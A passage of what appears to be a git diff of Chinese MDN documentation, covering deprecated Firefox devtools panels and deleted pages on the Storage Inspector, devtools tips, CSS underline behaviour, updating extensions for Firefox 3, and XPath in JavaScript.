在devtools的开发过程中,我们添加了几个实验面板来尝试新的想法。并不是所有这些都被广泛采用,而且由于维护成本的原因,很少使用的面板最终被移除。

- -

我们已经创建了这个不推荐使用或删除的面板列表。此页记录不推荐使用的面板和跟踪其删除的错误。尽管这些面板已经被删除,但是您仍然可以访问旧代码,并且有其他的web扩展,您可以尝试获得类似的功能。

- -


- 当我们否决某个小组时,我们首先从社区获得反馈,以确定删除该小组的影响。一旦我们决定移除面板,我们将提供一条警告消息,最后,我们将从代码库中移除面板。

- -


- 尝试激活已弃用的面板时,可能会看到警告消息,如下图所示:

- -

- -

此外,如果打开其中一个工具的面板,您还将看到有关删除该工具的警告消息。

- -

- -

草稿行

- -

从firefox 70开始,scratchpad将被弃用 ({{bug(1565380)}}).

- -

它将在将来被删除(目前版本号未知)  ({{bug(1519103)}}).

- -

说明

- -

scratchpad提供了一个测试javascript代码的环境。您可以编写、运行和检查与网页交互的代码的结果。

- -

Screenshot of the Scratchpad window with a deprecation message

- -

选择

- -

您可以在web控制台中编写多行javascript代码,使其类似于scratchpad。如果您在控制台中输入的javascript代码可以解释为多行语句的开头, Enter 在输入中添加新行,您可以使用 Ctrl + Enter (Cmd + Enter 在 macOS).

- -

Screenshot of the Webconsole multiline input, showing an evaluation with a Syntax Error and another, correct one.

- -

在计算时,输入不会被清除,这使得在代码片段上快速排列成为可能。

- -


- 结果显示在控制台输出中,在输入的右侧,提供即时反馈。与scratchpad不同,错误在输出中以可扩展的stacktrace正确显示,这使得调试当前编写的代码更加容易。

- -

WebIDE和连接页

- -

WebIDE在Firefox 69中被弃用

- -

从 Firefox 70 弃用 ({{bug(1539451)}}).

- -

从 Firefox 71 删除 ({{bug(1539462)}}).

- -

说明

- -

webide允许您将firefox开发工具连接到远程浏览器,比如firefox for android。它还旨在支持firefox操作系统的应用程序开发。

- -

- -

选择

- -

远程调试可在  “关于:从Firefox 68开始调试”  中找到。未移植到about的功能有:wifi调试,firefox for android,应用程序开发。已计划但尚未移植的功能:远程浏览器屏幕截图和编辑远程浏览器配置。有关邮件列表线程的更多详细信息。

- -

Canvas 调试器

- -

Bugzilla 问题: {{bug(1403938)}}

- -

从Firefox 67删除

- -

说明

- -

canvas调试器允许用户检查canvas元素并查看给定函数的调用频率。由于没有使用,它被弃用了。

- -


- 我们没有画布调试器的专用文档。

- -

- -

Alternatives

- -

Spector.js 是一个webextension,可以为这些特性提供3d说明文。

- -

Web Audio editor(网络音频编辑器)

- -

Bugzilla 问题: {{bug(1403944)}}

- -

从Firefox 67删除

- -

说明

- -

web音频编辑器允许您检查在页面中构造的音频上下文,并提供其图形的可视化。这提供了其操作的高级视图,并使您能够确保所有节点都按预期方式连接。可以为图中的每个节点编辑audioparam属性。一些非AudioParam属性,如振荡节点的类型属性,也被显示和编辑。由于没有使用,它被弃用了。

- -


- 更多关于Web Audio Editor

- -

- -

选择

- -

替代方案包括 AudioNhttps://github.com/spite/WebAudioExtension web extensions.

- -

Shader editor

- -

Bugzilla 问题: {{bug(1342237)}}

- -

从Firefox 67删除

- -

说明

- -

The Shader Editor

- -

允许用户检查和编辑webgl顶点和片段着色器的源。由于使用和维护成本较低,已弃用。

- -


- 更多关于Shader Editor

- -

- -

Alternatives

- -

此面板的另一个选择是此扩展:https://github.com/spite/ShaderEditorExtension, 或 Spector.js 还支持一个着色器编辑器,该编辑器需要一个库来使用着色器重载器挂钩。目前只有巴比伦图书馆。

diff --git "a/files/zh-cn/tools/\345\255\230\345\202\250\346\237\245\347\234\213\345\231\250/index.html" "b/files/zh-cn/tools/\345\255\230\345\202\250\346\237\245\347\234\213\345\231\250/index.html" deleted file mode 100644 index 198d5d5b92..0000000000 --- "a/files/zh-cn/tools/\345\255\230\345\202\250\346\237\245\347\234\213\345\231\250/index.html" +++ /dev/null @@ -1,186 +0,0 @@ ---- -title: 存储查看器 -slug: Tools/存储查看器 -translation_of: Tools/Storage_Inspector ---- -
{{ToolsSidebar}}
- -

存储查看器使你能够查看网页使用的多种存储类型。如今,它能够查看如下存储类型:

- -
    -
  • Cache缓存 — 使用缓存API创建的任何DOM缓存
  • -
  • Cookies — 所有页面创建的cookies或页面中任何的iframes。还列出了作为网络呼叫响应的一部分创建的Cookie,但仅适用于工具打开时发生的响应
  • -
  • IndexedDB — 所有页面创建的IndexedDB或或页面中任何的IndexedDB。其对象存储以及存储在这些对象库中的项目。
  • -
  • 本地存储— 所有页面创建的本地存储或页面中任何的iframes。
  • -
  • Session存储—所有页面创建的Session或页面中任何的iframes。
  • -
- -

目前,Storage Inspector仅为您提供存储的只读视图。 但我们正努力让您在将来的版本中编辑存储内容。

- -

打开存储查看器

- -

你可以在火狐菜单面板(或工具菜单中显示菜单栏或在 Mac OS X 上)或在键盘上按Shift + F9的web开发者工具的子菜单上打开“存储查看器”

- -

工具箱显示在浏览器窗口的底部,当打开存储查看器,在工具箱中会被称为“存储”

- -

- -

存储查看器用户接口

- -

存储查看器UI被分为三个主要部分:

- - - -

- -

存储树

- -

存储树列出了存储查看器能够查看的所有存储类型:

- -

- -

在每种类型下,对象都是按源组织。对于cache,协议不会区分源。对于IndexedDB或本地存储,源由协议与主机名组成。举个栗子,"http://mozilla.org" and "https://mozilla.org" 是两个不同的源,所有本地存储项不能在它们之间共享。

- -

在“缓存存储”下,对象按域名和cache的名称进行组织:

- -

- -

IndexedDB对象按源组织,然后按数据库名称,最后按对象存储名称:

- -

- -

关于Cookies,本地存储和Session存储类型,层级结构它们只有一个级别, 因此存储项直接列在每个域名下

- -

- -

你可以点击树中的每个项去扩展或折叠它的子项.树是活动的,所有如果添加一个新的源(例如通过添加iframes),它将自动添加到每个存储类型中。

- -

点击一个树项目将在右侧的表部件显示所选项的具体信息。例如点击Cookies存储类型下的源,将会显示所有属于该域名下的cookies信息。

- -

表部件

- -

表部件是列出与所选树项(不管是域名还是数据库)一致的所有项的位置。根据存储类型和树项的不同,表中的列数也会有所不同。

- -

所有表部件的列都可以调整大小的,你可以通过表头的内容-点击去隐藏和显示列和选择你想看到的列。

- -

- -

搜索

- -

在表部件的顶部有一个搜索框:

- -

- -

它将对表进行过滤,只显示与搜索项匹配的项。如果它们的任何字段(包括您隐藏的列的字段)包含搜索项。

- -

从火狐50版本之后, 你可以使用Ctrl + F (Cmd + F on a Mac) 来显示搜索框.

- -

添加和更新存储

- -

在最新版本的火狐浏览器中,你还可以使用按钮去刷新当前查看到的存储类型视图,而且在适用情况下添加一个存储条目(你不能在IndexedDB或cache添加新的条目):

- -

侧边栏

- -

当你在存储表部件选择任何一行时,侧边栏就会显示所选行的详细信息。如果选中cookie,侧边栏将列出该cookie的所有详细信息

- -

侧边栏能够解析cookie的值或本地存储项或IndexedDB项,并且将其转换成有意义的对象而不仅仅是字符串。举个栗子:

- -
    -
  • 一个JSON字符串比如 '{"foo": "bar"}'会以JSON对象显示 {foo: "bar"}.
  • -
  • 一个包含键分隔符的字符串,例如 "1~2~3~4""1=2=3=4" 会显示成数组: [1, 2, 3, 4].
  • -
  • 一个包含键值对的字符串,比如"ID=1234:foo=bar" 会显示为JSON对象: {ID:1234, foo: "bar"}.
  • -
- -

还可以使用工具箱侧边栏顶部的搜索框过滤显示的值

- -

Cache 存储

- -

在Cache存储类型下,你能够看到使用Cache API创建的任何DOM缓存的内容。如果你选择一个cache,你将看到该caches包含的资源列表。对应每个资源,你能看到如下信息:

- -
    -
  • 资源的URL路径
  • -
  • 获取请求的状态码
  • -
- -

- -

Cookies

- -

当你从存储树中选择Cookies存储类型的一个源时,会在表格小部件中列出该cookies的所有源。cookies表有以下列:

- -
    -
  • Name— cookie的名称
  • -
  • Path —  cookie的路径属性
  • -
  • Domain — cookie的域
  • -
  • Expires on — cookie过期时间,如果cookie是session, 此列的值将为session
  • -
  • Last accessed on — 上次读取cookies的时间
  • -
  • Created on — cookie创建时间
  • -
  • Value — cookie的值
  • -
  • HostOnly — 这个cookie是不是一个域的cookie,如果是,域名以“.”为开头
  • -
  • Secure — cookie是不是安全的
  • -
  • HttpOnly — cookie是不是 HTTP only
  • -
  • 同一站点这个cookie是同一站点的cookie吗? 相同站点cookie允许服务器通过断言特定cookie应仅与同一可注册域发起的请求一起发送来减轻CSRF和信息泄漏攻击的风险。
  • -
- -
-

提示: 有一些列不会默认显示 — 如果要改变部分列的显示,在已有的表格标题上单击鼠标右键/Ctrl-鼠标左键,而后使用生成的上下文菜单显示/隐藏列

-
- -

您可以通过双击表格小组件中的单元格内部并编辑它们包含的值来编辑cookie,并通过单击“加号”(+)按钮添加新的cookie,然后将生成的新行编辑为所需的值。
-
- 您还可以使用每行上下文菜单删除cookie:

- -

本地存储/Session存储

- -

当选择与本地存储或会话存储相对应的源时,该表将列出与本地存储或会话存储相对应的所有项的名称和值。

- -

您可以通过双击Table Widget中的单元格内部并编辑它们包含的值来编辑本地和会话存储项:

- -

{{EmbedYouTube("oeQzhpoMByw")}}

- -

您还可以使用上下文菜单删除本地存储和会话存储条目:

- -

- -

最后,您可以通过单击“加号”(+)按钮添加新的存储项,然后将生成的新行编辑为所需的值。

- -

IndexedDB

- -

在存储树中的索引数据库存储类型中选择源时,该表列出了该源存在的所有数据库的详细信息。 数据库具有以下详细信息:

- -
    -
  • Database Name — 数据库名称
  • -
  • Storage为数据库指定的存储类型(Firefox 53中的新增功能)
  • -
  • Origin — 数据库的源
  • -
  • Version数据库版本
  • -
  • Object Stores数据库中的对象存储数目
  • -
- -

在存储树中选择IndexedDB数据库时,表中列出了有关所有对象存储的详细信息。 任何对象存储都具有以下详细信息:

- -
    -
  • Object Store Name — 对象库的名称
  • -
  • Key — 对象库的keyPath属性.
  • -
  • Auto Increment — 是否启动自动增量
  • -
  • Indexes对象库中存在的索引数组,如下所示
  • -
- -

- -

在存储树中选择对象库时,该对象库中的所有项都列在表中。 所有项目都有一个键和一个与之关联的值。

- -

从Firefox 49开始,您可以使用存储树视图中的上下文菜单删除IndexedDB数据库:

- -

- -

如果无法删除数据库(最常见的原因是仍存在与数据库的活动连接),则存储查看器中将显示一条警告消息:

- -

从Firefox 50开始,您可以使用表格小部件中的上下文菜单删除对象库或特定项目中的所有项目:

- -

- -

 

diff --git "a/files/zh-cn/tools/\345\260\217\346\212\200\345\267\247/index.html" "b/files/zh-cn/tools/\345\260\217\346\212\200\345\267\247/index.html" deleted file mode 100644 index c7a2cfc304..0000000000 --- "a/files/zh-cn/tools/\345\260\217\346\212\200\345\267\247/index.html" +++ /dev/null @@ -1,135 +0,0 @@ ---- -title: 小技巧 -slug: Tools/小技巧 -tags: - - 开发工具 - - 网络开发 -translation_of: Tools/Tips ---- -
{{ToolsSidebar}}
- -

常规

- -

截图:

- - - -

设置:

- -
    -
  • 为开发者工具设置一个 主题 .
  • -
  • 改变按键绑定 为你所熟悉的其他编辑器,如 Vim, Emacs 或Sublime Text。
  • -
  • 激活或取消不同的工具 (还有更多的工具!)。
  • -
- -

页面查看器

- -

标签视图中:

- - - -

选择元素时:

- -
    -
  • 按住 Shift 并点击元素来选择节点并保持选择模式 (拾取模式不会取消).
  • -
  • 使用 / 键来选择它的父/子元素 (如果它们很难被选择).
  • -
- -

规则视图中:

- -
    -
  • 点击选择器后的查看按钮 ()来使所有匹配的元素高亮显示。
  • -
  • 点击element{} 规则后的查看按钮()来锁定当前元素的高亮显示。
  • -
  • 右击任意属性并选择 "Show MDN Docs" 来 在MDN 文档中查看这个属性
  • -
  • 点击被覆盖属性后的筛选按钮 ()来 查找其他覆盖它的属性
  • -
  • 右击属性的名称,值或者规则来复制该属性的名称,值,声明或者整个规则。
  • -
- -

网页控制台

- -

在所有面板:

- -
    -
  • Esc 键打开 split console; 用以调试页面以及审查节点。
  • -
- -

命令行:

- -
    -
  • $0 指令代表当前选择的节点。
  • -
  • $() 是 {{domxref("document.querySelector()")}}的简写形式。
  • -
  • $$() 是{{domxref("document.querySelectorAll()")}}的简写形式。
  • -
  • copy() 复制所有属性作为文本。
  • -
  • 右击节点并点击 "在控制台中使用" 来把这个节点作为 tempN 变量在命令行中使用.
  • -
  • cd() 切换JavaScript执行域到该页面的一个不同的iframe子页面。
  • -
  • console.table() 将表格数据作为表格输出(此句翻译需要校对).
  • -
  • help() 打开Web控制台帮助页面
  • -
- -

控制台输出:

- - - -

调试

- -
    -
  • 点击黑箱按钮 (Icon for black boxing a JavaScript source)来在调试中跳过JavaScript库。
  • -
  • 按下Ctrl+Alt+F 组合键来在所有脚本搜索。
  • -
  • 按下Ctrl+D 组合键来搜索函数的定义。
  • -
  • 按下 Ctrl+L 组合键跳转到具体的行。
  • -
- -

样式编辑器

- -
    -
  • 点击样式表前的黑箱按钮 (Icon for black boxing a JavaScript source) 来切换可见度。
  • -
  • 在 响应式设计模式下点击 @media 规则来切换模式。
  • -
  • 点击导入按钮 (Button to import a style sheet from the file system)来导出样式表或者点击创建按钮(Button to create a new style sheet)创建一个新的样式表。
  • -
  • 点击设置按钮并勾选 "显示原始来源" 来显示css预处理文件.
  • -
- -

网络

- - - -

存储

- -
    -
  • 右击列表头打开下拉菜单来显示或隐藏列。
  • -
  • 右击任意条目,点击“删除名字”来删除该条目或点击“删除全部”来删除全部条目。
  • -
  • 选择一个条目并在侧边栏中查看解析的值。
  • -
- -

开发者工具条

- - diff --git a/files/zh-cn/understanding_underlines/index.html b/files/zh-cn/understanding_underlines/index.html deleted file mode 100644 index fd67fc382c..0000000000 --- a/files/zh-cn/understanding_underlines/index.html +++ /dev/null @@ -1,156 +0,0 @@ ---- -title: 理解下划线 -slug: Understanding_Underlines -tags: - - 'CSS:Articles' -translation_of: >- - Learn/CSS/Styling_text/Fundamentals#Font_style_font_weight_text_transform_and_text_decoration -translation_of_original: Understanding_Underlines ---- -

对于 Web 设计者来说, 想移除其设计中某些 (或全部) 超链接的下划线是相当常见的事情。但是由于在过去浏览器中的一些不标准的行为, 一些人在删除超链接中下划线的正确方法方面存在一些问题。最常见的错误是这样做:

- -
<a href="link.html">
-<span style="text-decoration: none;">一个链接</span>
-</a>
- -

与大部分人的想法相反,这样去除下划线是不应该的。本文将会探讨去除下滑的正确方法及其原因。正确的处理下划线有很大的好处,譬如简洁的标签及高可读性的源代码。

- -

文字是如何被加上修饰线(decoration)的

- -

了解如何正确删除下划线之前,我们先了解一下修饰线(decoration 下同)是如何被应用的。首先,让我们先思考一个 span 在一个 p 中会是什么样子。

- -
<p><span style="text-decoration: underline;">
-这里有一些文字
-</span></p>
- -

很明显,就像下面所展示的:文字被加上了下划线。

- - - -

这里有一些文字。

- - - -

现在,让我们添加再添加一个 span 嵌套在之前的 span 里面。然后再给后加的 span 一个不一样的线样式:

- -
<p><span style="text-decoration: underline;">
-这里有一些
-<span style="text-decoration: overline;">额外的</span>
-文字。
-</span></p>
- - - -

这里有一些额外的文字。

- - - -

我们发现此例的 “额外的” 一词出现了既有上划线也有下划线的情况。但是这为什么呢?我们仅给最里面 span 标签设置了上划线。text-decoration 的值并不会被继承。那么为什么 “额外的” 下面会有下划线呢?

- -

现在让我们把最里面 span 的文字颜色(color 下同)改一下,比如红色,我们就能知道怎么回事了。

- - - -

这里有一些额外的文字。

- - - -

上划线和文字一起变成了红色,但是下划线并没有。这是因为下划线实际上是外面 span 的一部分,它只是在最里面 span 的下方经过而已。如果我们给外面的 span 加个背景,我们一般是希望背景也能穿过里面 span 显示出来。同样的,父级的文字修饰线就会显示在子级元素上,即使你并没有给子级元素设置或继承修饰线。

- -

现在,让我们明确地移除里面 span 的修饰线样式。

- -
<p><span style="text-decoration: underline;">
-这里有一些
-<span style="text-decoration: none; color: red;">额外的</span>
-文字。
-</span></p>
- -

这样意味着不应有任何修饰线样式在里面的 span 上,但是这样并不会阻止外面的 span 显示下划线。这就和 “把里面 span 的背景设为透明并不会让我们看不到外面 span (或者 body 之类的) 的背景” 一样。我们可以在下面看见,下划线仍旧是外面 span 的颜色。

- - - -

这里有一些额外的文字。

- - - -

那么让我们考虑一下这种情况:你在一个超链接 a 里添加了一个 span ,如果你想移除链接的下划线。但是因为上面所说的原因,你是没办法这样达成目的:

- -
<a href="http://developer.netscape.com/">这个链接
-<span style="text-decoration: none; font-weight: bold;">
-有个span
-</span>在里面</a>
- - - - - - - -

因此,我们不能使用这种方式移除下划线,我们需要其他的方法。而这其他的方法比你想象的要简单许多。

- -

如何真正地将下划线移除

- -

答案很简单:如果你不希望超链接拥有下划线,那么请直接关闭该标签本身的下划线。通过覆写在链接中的span的样式来修改下划线是不会在正常的浏览器中起效的,这是一种多余的无用行为。

- -

比方说,如果你想移除页面中所有超链接的下划线,那么最简单的办法是:

- -
a:link, a:visited {text-decoration: none;}
- -

另一个常见情况是仅从一组选定的链接中删除其中的下划线。比方说,在页面顶部的导航链接通常不会设有下划线。在这种情况下,你最好的选择是使用 class 或者 id 属性对目标元素进行分类,然后编写对应的样式。比方说,假设在下面的表格中有你希望修改的链接标签,那么给table本身追加一个id属性就是你首先需要做的。

- -
<table id="navbar">
-<tr>
-<td><a href="link1.html">Home</a></td>
-<td><a href="link2.html">Electronics</a></td>
-<td><a href="link3.html">Accessories</a></td>
-<td><a href="link4.html">Software</a></td>
-<td><a href="link5.html">Checkout</a></td>
-</tr>
-</table>
- -

有了 id 之后, 我们现在就可以为其编写一条CSS规则:

- -

table#navbar a {text-decoration: none;}

- -

这种方法最大的额外好处就是你可以基于此规则为这些链接扩展其他样式,比如:

- -
table#navbar a {text-decoration: none; color: yellow;
-font: 10px sans-serif; letter-spacing: 1px; padding: 0 1em;}
- -

当然,你也可以直接将你希望修改样式的链接赋上特定的 class ,在有些情况下这是十分有必要的。而且,在绝大多数情况下 ,使用与本页面类似的方法将有效地帮助到其他作者。Of course, you could put classes directly on the links you wish to style, and in some cases that's necessary. However, in the majority of cases, authors will be well served by an approach similar to the one shown here.

- -

其他修饰线

- -

本文重点介绍下划线,因为下划线是迄今为止在网络上使用的最常见的文本修饰。不过,此处讨论的原理适用于任何形式的装饰。如果文本设置了删除线样式,则该样式将穿透元素的文本以及任何子元素的文本,无论text-decoration的值是多少。举个例子:This article has focused on underlines because they are by far the most common text decoration in use on the Web. However, the principles discussed here apply to any form of decoration. If text is styled with a strike-through line, then that will run through the element's text and the text of any descendant elements, no matter what value they are given for text-decoration. As an example:

- -
<p style="text-decoration: line-through;">
-This text has been
-<span style="text-decoration: none; color: red;">stricken</span>
-with a line.
-</p>
- -

The text in this paragraph will all be stricken, although the word "stricken" will be red. This is shown in Figure 6.

- - - -

结论

- -

Although some browsers will let you get away with it, the use of span to "switch off" text decorations is not correct CSS and will not work in CSS-conformant browsers. Thus, many Web sites authored to proprietary behavior will not display as the designer intended in more recent browsers. Fortunately, there are several benefits to abandoning this legacy code practice in favor of directly styling hyperlinks.

- -

建议

- -
    -
  • 不要尝试通过span标签来修饰链接,这是一种无效的行为——在使用规范CSS的浏览器中,它不能够去除类似下划线等装饰线。
  • -
  • 利用CSS选择器,通过class或id属性对元素进行进行分类来提高CSS的效率。.
  • -
- -
-

文章原始信息

- -
    -
  • 作者: Eric A. Meyer, Netscape Communications
  • -
  • 最后更新: Published 2002年3月5日
  • -
  • 版权信息: Copyright © 2001-2003 Netscape. All rights reserved.
  • -
  • 注意: This reprinted article was originally part of the DevEdge site.
  • -
-
diff --git a/files/zh-cn/updating_extensions_for_firefox_3/index.html b/files/zh-cn/updating_extensions_for_firefox_3/index.html deleted file mode 100644 index 96a2e8ec19..0000000000 --- a/files/zh-cn/updating_extensions_for_firefox_3/index.html +++ /dev/null @@ -1,217 +0,0 @@ ---- -title: 为Firefox 3升级扩展 -slug: Updating_extensions_for_Firefox_3 -tags: - - Firefox 3 -translation_of: Mozilla/Firefox/Releases/3/Updating_extensions ---- -
- -

英文原文取自于 http://developer.mozilla.org/en/docs/Extensions 这篇文章将对于那些想把他们的扩展在Firefox 3中正常运行的开发者提供一些有用的信息。

- -

在进入主题之前,首先要提示一下:如果你的扩展所需要的唯一改变只是安装文件中的maxVersion信息,并且你的扩展所在的主机是addons.mozilla.org,事实上你不需要上传你的新的版本的扩展!只需要在AMO中使用开发者控制面板调整maxVersion。通过这种方式你可以避免你的扩展被再次审核。

- -

第一步: 升级安装文件

- -

第一步,当然,对于大多数的扩展也仅需要这一步——更新安装文件install.rdf,声明扩展兼容Firefox 3。

- -

找到声明兼容的最大版本号的那一行(对于Firefox2,如下):

- -
 <em:maxVersion>2.0.*</em:maxVersion>
-
- -

对于Firefox 3,如下:

- -
 <em:maxVersion>3.0.*</em:maxVersion>
-
- -

然后重新安装扩展。

- -

注意,在Firefox3的本版号中没有额外的“.0”,所以请使用“3.0.*”,而非“3.0.0.*”。

- -
Note: Note that at this point more changes in Firefox 3 are expected. These changes may break some extensions, so you shouldn't release an extension with 3.0.* maxVersion to the users until the Firefox 3 release candidate is out. During the Firefox 3 Beta period, you should use 3.0b5 as your maxVersion.
- -


- There have been (and will continue to be) a number of API changes that will likely break some extensions. We're still working on compiling a complete list of these changes.

- -
Note: If your extension still uses an Install.js script instead of an install manifest, you need to make the transition to an install manifest now. Firefox 3 no longer supports install.js scripts in XPI files.
- -

Add localizations to the install manifest

- -

Firefox 3 supports new properties in the install manifest to specify localized descriptions. The old methods still work however the new allow Firefox to pick up the localizations even when the add-on is disabled and pending install. See Localizing extension descriptions for more details.

- -

Step 2: 确保提供安全的更新

- -

If you are hosting addons yourself and not on a secure add-on hosting provider like addons.mozilla.org then you must provide a secure method of updating your add-on. This will either involve hosting your updates on an SSL website, or using cryptographic keys to sign the update information. Read Securing Updates for more information.

- -

Step 3: Deal with changed APIs

- -

Several APIs have been changed in significant ways. The most significant of these, which will likely affect a large number of extensions, are:

- -

DOM

- - -

将外部文档的节点插入当前文档之前,你必须使用 document.importNode() 从外部文档导入源节点,或者使用 document.adoptNode()导入源节点, - 想要了解更多的 Node.ownerDocument 问题,请参考 W3C DOM FAQ.

- -

即使你不执行导入动作,就执行插入外部文档中的节点.Firefox目前也不会报错(如果严格按标准执行,很多已有的网站都无法正常运行). - 我们鼓励开发者严格按标准修改自己已有的不符合上述标准的代码.

- -

Bookmarks & History

- -

If your extension accesses bookmark or history data in any way, it will need substantial work to be compatible with Firefox 3. The old APIs for accessing this information have been replaced by the new Places architecture. See the Places migration guide for details on updating your existing extension to use the Places API.

- -

Download Manager

- -

The Download Manager API has changed slightly due to the transition from an RDF data store to using the Storage API. This should be a pretty easy transition to make. In addition, the API for monitoring download progress has changed to support multiple download manager listeners. See nsIDownloadManager, nsIDownloadProgressListener, and Monitoring downloads for more information.

- -

Password Manager

- -

If your extension accesses user login information using the Password Manager, it will need to be updated to use the new Login Manager API.

- -
    -
  • The article Using nsILoginManager includes examples, including a demonstration of how to write your extension to work with both the Password Manager and the Login Manager, so it will work with both Firefox 3 and earlier versions.
  • -
  • nsILoginInfo
  • -
  • nsILoginManager
  • -
- -

You can also override the built-in password manager storage if you want to provide your own password storage implementation in your extensions. See Creating a Login Manager storage module for details.

- -

Popups (Menus, Context Menus, Tooltips and Panels)

- -

The XUL Popup system was heavily modified in Firefox 3. The Popup system includes main menus, context menus and popup panels. A guide to using Popups has been created, detailing how the system works. One thing to note is that popup.showPopup has been deprecated in favor of new popup.openPopup and popup.openPopupAtScreen.

- -

Autocomplete

- -

The nsIAutoCompleteController interface's handleEnter() method has been changed to accept an argument that indicates whether the text was selected from the autocomplete popup or by the user pressing enter after typing text.

- -

DOMParser

- -
    -
  • When a DOMParser is instantiated, it inherits the calling code's principal and the documentURI and baseURI of the window the constructor came from.
  • -
  • If the caller has UniversalXPConnect privileges, it can pass parameters to new DOMParser(). If fewer than three parameters are passed, the remaining parameters will default to null. -
      -
    • The first parameter is the principal to use; this overrides the default principal normally inherited.
    • -
    • The second parameter is the documentURI to use.
    • -
    • The third parameter is the baseURI to use.
    • -
    -
  • -
  • If you initialize a DOMParser using a contract, such as by calling createInstance(), and you don't call the DOMParser's init() method, attempting to initiate a parsing operation will automatically create and initialize the DOMParser with a null principal and null pointers for documentURI and baseURI.
  • -
- -

Removed interfaces

- -

The following interfaces were removed from Gecko 1.9, which drives Firefox 3. If your extension makes use of any of these, you'll need to update your code:

- -
    -
  • nsIDOMPaintListener
  • -
  • nsIDOMScrollListener
  • -
  • nsIDOMMutationListener
  • -
  • nsIDOMPageTransitionListener
  • -
  • nsICloseAllWindows (see bug 386200)
  • -
- -

Step 4: Check for relevant chrome changes

- -

There has been a minor change to the chrome that may require changes in your code. A new vbox has been added, called "browser-bottombox", which encloses the find bar and status bar at the bottom of the browser window. Although this doesn't affect the appearance of the display, it may affect your extension if it overlays chrome relative to these elements.

- -

For example, if you previously overlaid some chrome before the status bar, like this:

- -
<window id="main-window">
-  <something insertbefore="status-bar" />
-</window>
-
- -

You should now overlay it like this:

- -
<vbox id="browser-bottombox">
-  <something insertbefore="status-bar" />
-</vbox>
-
- -

Or use the following technique to make your overlay work on both Firefox 2 and Firefox 3:

- -
<window id="main-window">
-  <vbox id="browser-bottombox" insertbefore="status-bar">
-    <something insertbefore="status-bar" />
-  </vbox>
-</window>
-
- -
Note: This change is effective for Firefox 3 beta 4 and the pre-beta 4 nightlies.
- -

其他方面的修改

- -

Add simple changes you had to make while updating your extension to work with Firefox 3 here.

- -
    -
  • chrome://browser/base/utilityOverlay.js is no longer supported for security reasons. If you were previously using this, you should switch to chrome://browser/content/utilityOverlay.js.
  • -
  • nsIAboutModule implementations are now required to support the getURIFlags method. See nsIAboutModule.idl for documentation. This affects extensions that provide new about: URIs. (bug 337746)
  • -
  • The tabbrowser element is no longer part of "toolkit" (bug 339964). This means this element is no longer available to XUL applications and extensions. It continues to be used in the main Firefox window (browser.xul).
  • -
  • Changes to nsISupports proxies and possibly to threading-related interfaces need to be documented.
  • -
  • If you use XML processing instructions, such as <?xml-stylesheet ?> in your XUL files, be aware of the changes made in bug 319654: -
      -
    1. XML PIs are now added to a XUL document's DOM. This means document.firstChild is no longer guaranteed to be the root element. If you need to get the root document in your script, use document.documentElement instead.
    2. -
    3. <?xml-stylesheet ?> and <?xul-overlay ?> processing instructions now have no effect outside the document prolog.
    4. -
    -
  • -
  • window.addEventListener("load", myFunc, true) is not fired when loading web content (browser page loads). This is due to bug 296639 which changes the way inner and outer windows communicate. The simple fix here is to use gBrowser.addEventListener("load", myFunc, true) as described here and works in Firefox 2 as well.
  • -
  • content.window.getSelection() gives an object (which can be converted to a string by toString()), unlike the now deprecated content.document.getSelection() which returns a string
  • -
  • event.preventBubble() was deprecated in Firefox 2 and has been removed in Firefox 3. Use event.stopPropagation(), which works in Firefox 2 as well.
  • -
  • Timers that are initiated using setTimeout() are now blocked by modal windows due to the fix made for bug 52209. You may use nsITimer instead.
  • -
  • If your extension needs to allow an untrusted source (e.g., a web site) to access the extension's chrome, then you must use the new contentaccessible flag.
  • -
diff --git a/files/zh-cn/using_xpath/index.html b/files/zh-cn/using_xpath/index.html deleted file mode 100644 index 77433ca2d5..0000000000 --- a/files/zh-cn/using_xpath/index.html +++ /dev/null @@ -1,146 +0,0 @@ ---- -title: Using XPath -slug: Using_XPath -tags: - - AJAX - - Code snippets - - DOM - - Extensions - - Transforming_XML_with_XSLT - - XPath - - 所有分类 -translation_of: Web/XPath/Introduction_to_using_XPath_in_JavaScript -translation_of_original: Using_XPath ---- -

-

XPath is a language for addressing parts of an XML document. It is a W3C recommendation. -

This article describes Mozilla interfaces exposing XPath functionality to JavaScript code. These are described in DOM Level 3 XPath (which is W3C Working Group Note at this moment). -

This article does not attempt teach XPath itself. If you're unfamiliar with this technology, please refer to W3Schools XPath tutorial. -

For a very simple XPath usage example, see: Code_snippets:HTML_to_DOM#Using_a_hidden_XUL_iframe_.28complete_example.29 -

-

Node-specific evaluator function

-

The following function can be used to evaluate XPath expressions on given XML nodes. The first argument is a DOM node or Document object, while the second is a string defining an XPath expression. -

-
// Evaluate an XPath expression aExpression against a given DOM node
-// or Document object (aNode), returning the results as an array
-// thanks wanderingstan at morethanwarm dot mail dot com for the
-// initial work.
-function evaluateXPath(aNode, aExpr) {
-  var xpe = new XPathEvaluator();
-  var nsResolver = xpe.createNSResolver(aNode.ownerDocument == null ?
-    aNode.documentElement : aNode.ownerDocument.documentElement);
-  var result = xpe.evaluate(aExpr, aNode, nsResolver, 0, null);
-  var found = [];
-  var res;
-  while (res = result.iterateNext())
-    found.push(res);
-  return found;
-}
-
-

This function uses new XPathEvaluator(). That constructor is specific to Mozilla. Scripts used on a webpage which might be used by other browsers should instead replace the call to new XPathEvaluator() with the following fragment: -

-
  // XPathEvaluator is implemented on objects that implement Document
-  var xpe = aNode.ownerDocument || aNode;
-
-

In that case the creation of the XPathNSResolver can be simplified as: -

-
  var nsResolver = xpe.createNSResolver(xpe.documentElement);
-
-

Note however that createNSResolver should only be used if you are sure the namespace prefixes in the XPath expression match those in the document you want to query (and that no default namespace is being used (though see DOM:document.createNSResolver for a workaround)). Otherwise, you have to provide your own implementation of XPathNSResolver. -

If you are using XMLHttpRequest to read a local or remote XML file into a DOM tree (as described in Parsing and serializing XML), the first argument to evaluateXPath() should be req.responseXML. -

-

Sample usage

-

Assume we have the following XML document (see also How to Create a DOM tree and Parsing and serializing XML): -

-
<?xml version="1.0"?>
-<people>
-  <person first-name="eric" middle-initial="H" last-name="jung">
-    <address street="321 south st" city="denver" state="co" country="usa"/>
-    <address street="123 main st" city="arlington" state="ma" country="usa"/>
-  </person>
-
-  <person first-name="jed" last-name="brown">
-    <address street="321 north st" city="atlanta" state="ga" country="usa"/>
-    <address street="123 west st" city="seattle" state="wa" country="usa"/>
-    <address street="321 south avenue" city="denver" state="co" country="usa"/>
-  </person>
-</people>
-
-

